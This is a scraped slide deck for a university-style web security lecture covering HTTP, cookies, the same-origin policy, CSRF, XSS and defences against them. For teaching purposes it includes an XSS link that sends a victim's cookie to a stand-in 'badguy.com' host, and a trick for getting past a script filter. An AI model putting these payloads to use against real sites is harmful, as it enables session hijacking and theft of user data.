Download presentation
Presentation is loading. Please wait.
Published byAmber Goodwin Modified over 8 years ago
1
Web Security Borrowed from John Mitchell, Stanford
2
Web application vulnerabilities
3
Goals of web security Safely browse the web Users should be able to visit a variety of web sites, without incurring harm: No stolen information (without user’s permission) Site A cannot compromise session at Site B Support secure web applications Applications delivered over the web should have the same security properties we require for stand- alone applications
4
Network Attacker Intercepts and controls network communication Alice System Network adversary
5
Web Attacker Sets up malicious site visited by victim; no control of network Alice System Web adversary
6
Web Threat Models Web attacker Control attacker.com Can obtain SSL/TLS certificate for attacker.com User visits attacker.com Or: runs attacker’s Facebook app, etc. Malware attacker Attacker escapes browser isolation mechanisms and run separately under control of OS [not in today’s class]
7
HTTP
8
URLs Global identifiers of network-retrievable documents Example: http://stanford.edu:81/class?name=cs155#homework Special characters are encoded as hex: %0A = newline %20 or + = space, %2B = + (special exception) Protocol Hostname Port Path Query Fragment
9
GET /index.html HTTP/1.1 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en Connection: Keep-Alive User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Host: www.example.com Referer: http://www.google.com?q=dingbats HTTP Request MethodFileHTTP versionHeaders Data – none for GET Blank line GET : no side effect POST : possible side effect
10
HTTP/1.0 200 OK Date: Sun, 21 Apr 1996 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT Set-Cookie: … Content-Length: 2543 Some data... blah, blah, blah HTTP Response HTTP versionStatus codeReason phrase Headers Data Cookies
11
RENDERING CONTENT
12
Rendering and events Basic browser execution model Each browser window or frame Loads content Renders it Processes HTML and scripts to display page May involve images, subframes, etc. Responds to events Events can be User actions: OnClick, OnMouseover Rendering: OnLoad, OnBeforeUnload Timing: setTimeout(), clearTimeout()
13
Example <div style="-webkit-transform: rotateY(30deg) rotateX(-30deg); width: 200px;"> I am a strange root. Source: http://www.html5rocks.com/en/tutorials/speed/layers/http://www.html5rocks.com/en/tutorials/speed/layers/
14
HTML Image Tags 14 Displays this nice picture Security issues? … … Basic web functionality
15
Image tag security issues 15 Communicate with other sites Hide resulting image Spoof other sites Add logos that fool a user Important Point: A web page can send information to any site Security consequences
16
Document Object Model (DOM) Object-oriented interface used by scripts to dynamically access and modify web pages web page in HTML is structured data DOM provides representation of this hierarchy Examples Properties: document.alinkColor, document.URL, document.forms[ ], document.links[ ], … Methods: document.write(document.referrer) Includes Browser Object Model (BOM) window, document, frames[], history, location, navigator (type and version of browser)
17
Changing HTML using JavaScript Some possibilities createElement(elementName) createTextNode(text) appendChild(newChild) removeChild(node) Example: Add a new list item (Javascript code): var list = document.getElementById('t1') var newitem = document.createElement('li') var newtext = document.createTextNode(text) list.appendChild(newitem) newitem.appendChild(newtext) Item 1 HTML
18
Frame and iFrame Window may contain frames from different sources Frame: rigid division as part of frameset iFrame: floating inline frame iFrame example Why use frames? Delegate screen area to content from another source Browser provides isolation based on frames Parent may work even if frame is broken If you can see this, your browser doesn't understand IFRAME.
19
ISOLATION
20
Same Origin Policy (SOP) Each frame of a page has an origin Origin = protocol://host:port Frame can access its own origin Network access, Read/write DOM, Storage (cookies) Frame cannot access data associated with a different origin A A B B A
21
JavaScript “The world’s most misunderstood programming language” Related to Java in name only Name was part of a marketing deal “Java is to JavaScript as car is to carpet” Language executed by the browser Scripts are embedded in Web pages Can run before HTML is loaded, before page is viewed, while it is being viewed, or when leaving the page Potentially malicious website gets to execute some code on user’s machine
22
But: scripts excluded from SOP !! Script has privileges of imported page, NOT source server. Can script other pages in this origin, load more scripts Other forms of importing VeriSign
23
Inter-frame communication policy? 23 Child Sibling Descendant Frame Bust
24
BrowserPolicy IE 6 (default)Permissive IE 6 (option)Child IE7 (no Flash)Descendant IE7 (with Flash)Permissive Firefox 2Window Safari 3Permissive Opera 9Window HTML 5Child Legacy Browser Behavior
25
COOKIES: CLIENT STATE 25
26
Cookies Used to store state on user’s machine Browser Server POST … HTTP Header: Set-cookie:NAME=VALUE ; domain = (who can read) ; expires = (when expires) ; secure = (only over SSL) Browser Server POST … Cookie: NAME = VALUE HTTP is stateless protocol; cookies add state If expires=NULL: this session only
27
Cookie authentication Browser Web ServerAuth server POST login.cgi Username & pwd Validate user auth=val Store val Set-cookie: auth=val GET restricted.html Cookie: auth=val restricted.html auth=val YES/NOIf YES, restricted.html Check val
28
Cookie Security Policy Uses: User authentication Personalization User tracking: e.g. Doubleclick (3 rd party cookies) Browser will store: At most 20 cookies/site, 3 KB / cookie Origin is the tuple Can set cookies valid across a domain suffix
29
WEB SITE VULNERABILITIES 29
30
Three top web site vulnerabilites SQL Injection Browser sends malicious input to server Bad input checking leads to malicious SQL query CSRF – Cross-site request forgery Bad web site sends browser request to good web site, using credentials of an innocent victim XSS – Cross-site scripting Bad web site sends innocent victim a script that steals information from an honest web site
31
Three top web site vulnerabilites SQL Injection Browser sends malicious input to server Bad input checking leads to malicious SQL query CSRF – Cross-site request forgery Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site XSS – Cross-site scripting Bad web site sends innocent victim a script that steals information from an honest web site Inject malicious script into trusted context Leverage user’s session at victim sever In TIRGUL
32
Cross Site Request Forgery
33
Recall: session using cookies ServerBrowser POST/login.cgi Set-cookie: authenticator GET… Cookie: authenticator response
34
Basic picture 34 Attack Server Server Victim User Victim establish session send forged request visit server (or iframe) receive malicious page 1 2 3 4 Q: how long do you stay logged on to Gmail? (w/ cookie)
35
Example: User logs in to bank.com Session cookie remains in browser state User visits another site containing: … document.F.submit(); Browser sends user auth cookie with request Transaction will be fulfilled Problem: cookie auth is insufficient when side effects occur Cross Site Request Forgery (CSRF)
36
Form post with cookie User credentials Cookie: SessionID=523FA4cd2E
37
CSRF Defenses Secret Validation Token Referer Validation Custom HTTP Header Referer: http://www.facebook.com/home.php X-Requested-By: XMLHttpRequest
38
Secret Token Validation Server sends dynamic form HTML Form includes a hidden hard-to-guess secret Unguessability substitutes for unforgeability When browser POSTs the filled form: Hidden token is sent back with other fields (and session cookie is sent too) Server verifies that token is valid and matches session
39
Secret Token Validation
40
Referer Validation Referring page Cookie: SessionID=523FA4cd2E
41
Referer Validation
42
Referer Validation Defense HTTP Referer header Referer: http://www.facebook.com/ Referer: http://www.attacker.com/evil.html Referer: Lenient Referer validation Doesn't work if Referer is missing Strict Referer validaton Secure, but Referer is sometimes absent… ?
43
Referer Privacy Problems Referer may leak privacy-sensitive information http://intranet.corp.apple.com/ projects/iphone/competitors.html Common sources of Referer stripping: Network stripping by the organization Network stripping by local machine Stripped by browser for HTTPS -> HTTP transitions User preference in browser Buggy user agents Site cannot afford to block these users
44
CSRF Recommendations Users: when accessing a sensitive site (like a bank) – use a different browser, not just a new tab/window Don’t open other tabs while logged in Always logout (don’t just X the tab) – invalidates the session cookie Site developers: Use Anti CSRF techniques Especially important on sensitive sites
45
Cross Site Scripting (XSS)
46
Basic scenario: reflected XSS attack Attack Server Victim Server Victim client visit web site receive malicious link click on link echo user input 1 2 3 send valuable data 5 4
47
XSS example: vulnerable site search field on victim.com: http://victim.com/search.php ? term = apple Server-side implementation of search.php: Search Results Results for :... echo search term into response
48
Bad input Consider link: (properly URL encoded) http://victim.com/search.php ? term = window.open( “http://badguy.com?cookie = ” + document.cookie ) What if user clicks on this link? 1.Browser goes to victim.com/search.php 2.Victim.com returns Results for … 3.Browser executes script: Sends badguy.com cookie for victim.com
49
Results for window.open(http://attacker.com?... document.cookie...) Attack Server Victim Server Victim client user gets bad link user clicks on link victim echoes user input http://victim.com/search.php ? term =... www.victim.com www.attacker.com
50
Basic scenario: reflected XSS attack Attack Server Server Victim User Victim Collect email addr send malicious email click on link echo user input 1 2 3 send valuable data 5 4 Email version
51
Stored XSS Attack Server Server Victim User Victim Inject malicious script request content receive malicious script 1 2 3 steal valuable data 4 Store bad stuff Download it
52
Stored XSS using images Suppose pic.jpg on web server contains HTML ! request for http://site.com/pic.jpg results in: HTTP/1.1 200 OK … Content-Type: image/jpeg fooled ya IE will render this as HTML (despite Content-Type) Consider photo sharing sites that support image uploads What if attacker uploads an “image” that is a script?
53
Defenses at server Attack Server Server Victim User Victim visit web site receive malicious page click on link echo user input 1 2 3 send valuable data 5 4
54
How to Protect Yourself (OWASP) Validate all headers, cookies, query strings, form fields, hidden fields against a rigorous specification of what should be allowed. Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types and too many ways of encoding. Adopt a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.
55
Input data validation and filtering Never trust client-side data Best: allow only what you expect Remove/encode special characters Many encodings, special chars! E.g., long (non-standard) UTF-8 encodings
56
Problems with filters Suppose a filter removes <script Good case <script src=“...” src=“...” But then <scr<scriptipt src=“...” <script src=“...”
Similar presentations
© 2024 SlidePlayer.com Inc.
All rights reserved.